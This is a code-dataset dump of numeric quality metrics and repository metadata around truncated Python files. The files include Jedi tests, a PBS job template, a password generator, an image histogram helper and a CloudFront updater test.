60.888889
0.767699
0
0
0
0
0.148148
0.604927
0.053832
0
0
0
0
0
1
0.111111
false
0
0.148148
0
0.259259
0.148148
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
332f1aea4b72b0d3dbc984f45fa1f1b91e6090b4
805
py
Python
Desktop10.4.1/python/osgeo/__init__.py
Esri/raster2gpkg
d10ebb3038786ecddf41072ba5b2c49baad97c5a
[ "Apache-2.0" ]
13
2015-11-18T18:26:34.000Z
2021-05-09T13:59:46.000Z
Desktop10.4.1/python/osgeo/__init__.py
Esri/raster2gpkg
d10ebb3038786ecddf41072ba5b2c49baad97c5a
[ "Apache-2.0" ]
4
2015-12-26T03:16:25.000Z
2016-08-23T17:18:11.000Z
Desktop10.4.1/python/osgeo/__init__.py
Esri/raster2gpkg
d10ebb3038786ecddf41072ba5b2c49baad97c5a
[ "Apache-2.0" ]
5
2015-10-22T13:28:53.000Z
2020-12-12T13:07:52.000Z
# __init__ for osgeo package. # making the osgeo package version the same as the gdal version: from sys import version_info if version_info >= (2,6,0): def swig_import_helper(): from os.path import dirname import imp fp = None try: fp, pathname, description = i...
28.75
86
0.583851
92
805
4.706522
0.51087
0.076212
0.110855
0
0
0
0
0
0
0
0
0.005682
0.344099
805
27
87
29.814815
0.814394
0.111801
0
0.181818
0
0
0.032164
0
0
0
0
0
0
1
0.045455
false
0
0.409091
0
0.545455
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
33436e764c6179adc268b4ca9a2a6c0112d0a61f
567
py
Python
tests/test_jedi.py
akimous/akimous
1828c09407bc32b233500647290d698ba5e5549f
[ "BSD-3-Clause" ]
12
2019-11-14T14:20:33.000Z
2022-03-27T15:24:45.000Z
tests/test_jedi.py
akimous/akimous
1828c09407bc32b233500647290d698ba5e5549f
[ "BSD-3-Clause" ]
7
2020-04-05T05:37:52.000Z
2020-09-27T14:21:41.000Z
tests/test_jedi.py
akimous/akimous
1828c09407bc32b233500647290d698ba5e5549f
[ "BSD-3-Clause" ]
3
2020-03-23T17:31:39.000Z
2022-03-27T15:24:53.000Z
# Jedi breaks frequently after 0.10.2. # Here is some regression tests to make sure Jedi is not going to break this app import jedi def test_keyword_completion(): completions = jedi.Script('def a():\n pa').complete() assert len(completions) == 1 assert completions[0].name == 'pass' def test_call_signat...
29.842105
80
0.705467
83
567
4.710843
0.566265
0.179028
0.066496
0.117647
0
0
0
0
0
0
0
0.023504
0.174603
567
18
81
31.5
0.811966
0.202822
0
0
0
0
0.124722
0
0
0
0
0
0.454545
1
0.181818
false
0.090909
0.181818
0
0.363636
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
1
0
0
0
0
0
2
33551cf647b6f25ac52d7349b00368abe3cb7c2a
70
py
Python
linkedin/__init__.py
ptwobrussell/python-linkedin
fe9da39f3d166141181e01d9fec4b0065cdad078
[ "MIT" ]
6
2015-10-12T18:53:43.000Z
2019-09-05T15:27:56.000Z
linkedin/__init__.py
ptwobrussell/python-linkedin
fe9da39f3d166141181e01d9fec4b0065cdad078
[ "MIT" ]
1
2019-01-22T20:54:25.000Z
2019-01-22T20:54:25.000Z
linkedin/__init__.py
ptwobrussell/python-linkedin
fe9da39f3d166141181e01d9fec4b0065cdad078
[ "MIT" ]
5
2015-01-25T18:28:11.000Z
2019-09-08T19:39:12.000Z
__version__ = '2.0' VERSION = tuple(map(int, __version__.split('.')))
23.333333
49
0.671429
9
70
4.333333
0.777778
0
0
0
0
0
0
0
0
0
0
0.031746
0.1
70
2
50
35
0.587302
0
0
0
0
0
0.057143
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
33561a537fd196ec703062c52cdf16f79274167c
681
py
Python
bitbots_body_behavior/src/bitbots_body_behavior/decisions/goal_seen.py
MosHumanoid/bitbots_behavior
4667f67dcfb45fd46660544cb8b0821c4f2c0551
[ "MIT" ]
null
null
null
bitbots_body_behavior/src/bitbots_body_behavior/decisions/goal_seen.py
MosHumanoid/bitbots_behavior
4667f67dcfb45fd46660544cb8b0821c4f2c0551
[ "MIT" ]
null
null
null
bitbots_body_behavior/src/bitbots_body_behavior/decisions/goal_seen.py
MosHumanoid/bitbots_behavior
4667f67dcfb45fd46660544cb8b0821c4f2c0551
[ "MIT" ]
1
2020-07-12T12:58:07.000Z
2020-07-12T12:58:07.000Z
import rospy from dynamic_stack_decider.abstract_decision_element import AbstractDecisionElement class GoalSeen(AbstractDecisionElement): def __init__(self, blackboard, dsd, parameters=None): super(GoalSeen, self).__init__(blackboard, dsd, parameters) self.goal_lost_time = rospy.Duration(self.bla...
35.842105
114
0.728341
83
681
5.650602
0.518072
0.119403
0.098081
0.102345
0.153518
0.153518
0.153518
0
0
0
0
0.00177
0.170338
681
18
115
37.833333
0.828319
0
0
0
0
0
0.048458
0
0
0
0
0
0
1
0.230769
false
0
0.153846
0.076923
0.692308
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
682268ad95dff89ff75e13e15a3fe323425b6d13
524
py
Python
classification/tools.py
badheshchauhan/python
2c9b6bbffbe56af1753b37c1778bae1f5ea7cf46
[ "MIT" ]
204
2018-09-19T15:34:56.000Z
2022-03-16T20:45:55.000Z
classification/tools.py
Shubhanshu156/python-2
ef093e9efb00d15e608dde294aa218482531a4b1
[ "MIT" ]
44
2018-10-02T03:02:29.000Z
2021-10-06T15:18:08.000Z
classification/tools.py
Shubhanshu156/python-2
ef093e9efb00d15e608dde294aa218482531a4b1
[ "MIT" ]
177
2018-10-02T02:47:08.000Z
2022-03-17T03:51:36.000Z
from matplotlib.image import imread import matplotlib.pyplot as plt from math import sqrt import math import random import numpy import operator from scipy.spatial.distance import cdist from scipy.linalg import norm import datetime def Histogram(path): image = imread(path) if len(image.shape) != 2: de...
24.952381
79
0.692748
77
524
4.714286
0.532468
0.055096
0
0
0
0
0
0
0
0
0
0.057143
0.198473
524
20
80
26.2
0.807143
0
0
0
0
0
0
0
0
0
0
0
0
1
0.111111
false
0
0.555556
0.055556
0.722222
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
682344d9ce095b1d8f6b13cd0aeb4a4a148efc83
369
py
Python
parsl/providers/pbspro/template.py
cylondata/parsl
00ff9372bd841dafef8a0b3566c79ffe68f0e367
[ "Apache-2.0" ]
null
null
null
parsl/providers/pbspro/template.py
cylondata/parsl
00ff9372bd841dafef8a0b3566c79ffe68f0e367
[ "Apache-2.0" ]
3
2017-02-28T23:34:26.000Z
2017-02-28T23:36:02.000Z
parsl/providers/pbspro/template.py
cylondata/parsl
00ff9372bd841dafef8a0b3566c79ffe68f0e367
[ "Apache-2.0" ]
null
null
null
template_string = '''#!/bin/bash #PBS -S /bin/bash #PBS -N ${jobname} #PBS -m n #PBS -l walltime=$walltime #PBS -l select=${nodes_per_block}:ncpus=${ncpus}${select_options} #PBS -o ${submit_script_dir}/${jobname}.submit.stdout #PBS -e ${submit_script_dir}/${jobname}.submit.stderr ${scheduler_options} ${worker_init} ...
19.421053
65
0.696477
53
369
4.641509
0.54717
0.056911
0.081301
0.178862
0.227642
0
0
0
0
0
0
0
0.094851
369
18
66
20.5
0.736527
0
0
0
0
0
0.932249
0.398374
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
682a16f742a25f3cabb8ce4560e2eff76bfd4e3b
670
py
Python
shot_detector/features/extractors/colours/luma_extractor.py
w495/shot_detector
617ff45c9c3c96bbd9a975aef15f1b2697282b9c
[ "BSD-3-Clause" ]
18
2015-09-27T21:34:18.000Z
2022-03-24T12:14:51.000Z
shot_detector/features/extractors/colours/luma_extractor.py
w495/shot_detector
617ff45c9c3c96bbd9a975aef15f1b2697282b9c
[ "BSD-3-Clause" ]
6
2021-03-18T21:21:35.000Z
2022-03-11T23:32:55.000Z
shot_detector/features/extractors/colours/luma_extractor.py
w495/shot_detector
617ff45c9c3c96bbd9a975aef15f1b2697282b9c
[ "BSD-3-Clause" ]
3
2017-09-14T20:53:26.000Z
2021-12-18T19:18:18.000Z
# -*- coding: utf8 -*- """ This is part of shot detector. Produced by w495 at 2017.05.04 04:18:27 """ from __future__ import absolute_import, division, print_function from ..base_extractor import BaseExtractor class LumaExtractor(BaseExtractor): """ ... """ @staticmethod def av_form...
19.705882
67
0.583582
70
670
5.314286
0.7
0.129032
0.075269
0
0
0
0
0
0
0
0
0.042644
0.3
670
33
68
20.30303
0.750533
0.255224
0
0
0
0
0.012755
0
0
0
0
0
0
1
0.222222
false
0
0.222222
0
0.777778
0.111111
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
682d75e9636f48abc5f0f85299df6fd1637ef3cf
771
py
Python
Password_Generator/password_generator.py
Amaguk2023/password_generator.py
f121b0aa2754c50915bcf19cd0d1465ba03dedce
[ "MIT" ]
5
2021-06-18T10:34:18.000Z
2021-07-16T20:07:09.000Z
Password_Generator/password_generator.py
Amaguk2023/PasswordGenerator
f121b0aa2754c50915bcf19cd0d1465ba03dedce
[ "MIT" ]
3
2021-06-18T08:19:09.000Z
2021-07-11T18:56:41.000Z
Password_Generator/password_generator.py
Amaguk2023/password_generator.py
f121b0aa2754c50915bcf19cd0d1465ba03dedce
[ "MIT" ]
3
2021-06-14T20:07:14.000Z
2021-06-18T06:02:14.000Z
import string, secrets import password_file_creation #PASSWORD LIST CREATION def pwd_lst_generator(password_amount, password_length, include_punctuation): if include_punctuation == True: pwd_lst = [] for i in range(password_amount): pwd_lst.append(''.join(secrets.choice(list(string.ascii_letters)+list(string...
32.125
148
0.762646
110
771
5.054545
0.263636
0.097122
0.043165
0.079137
0.679856
0.679856
0.679856
0.679856
0.679856
0.679856
0
0
0.129702
771
23
149
33.521739
0.828614
0.028534
0
0.533333
0
0
0
0
0
0
0
0
0
1
0.066667
false
0.666667
0.133333
0
0.2
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
683c86ee7ceb9bd648e71a44d8cc8e96e91c2763
21,492
py
Python
cloudfront_distribution_updater_test.py
SilkStart/cloudfront-distribution-updater
b4afd20374de2e6a06205167f370bfcd28698813
[ "Apache-2.0" ]
null
null
null
cloudfront_distribution_updater_test.py
SilkStart/cloudfront-distribution-updater
b4afd20374de2e6a06205167f370bfcd28698813
[ "Apache-2.0" ]
null
null
null
cloudfront_distribution_updater_test.py
SilkStart/cloudfront-distribution-updater
b4afd20374de2e6a06205167f370bfcd28698813
[ "Apache-2.0" ]
null
null
null
# Copyright 2015 SilkStart Technology Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agree...
37.771529
2,069
0.525172
1,603
21,492
6.937617
0.199002
0.031562
0.018883
0.020772
0.620897
0.58439
0.564428
0.555256
0.527021
0.515601
0
0.043091
0.367253
21,492
569
2,070
37.771529
0.774689
0.02829
0
0.664634
0
0.002033
0.349066
0.159655
0
1
0
0
0.026423
1
0.03252
false
0
0.00813
0.004065
0.046748
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
2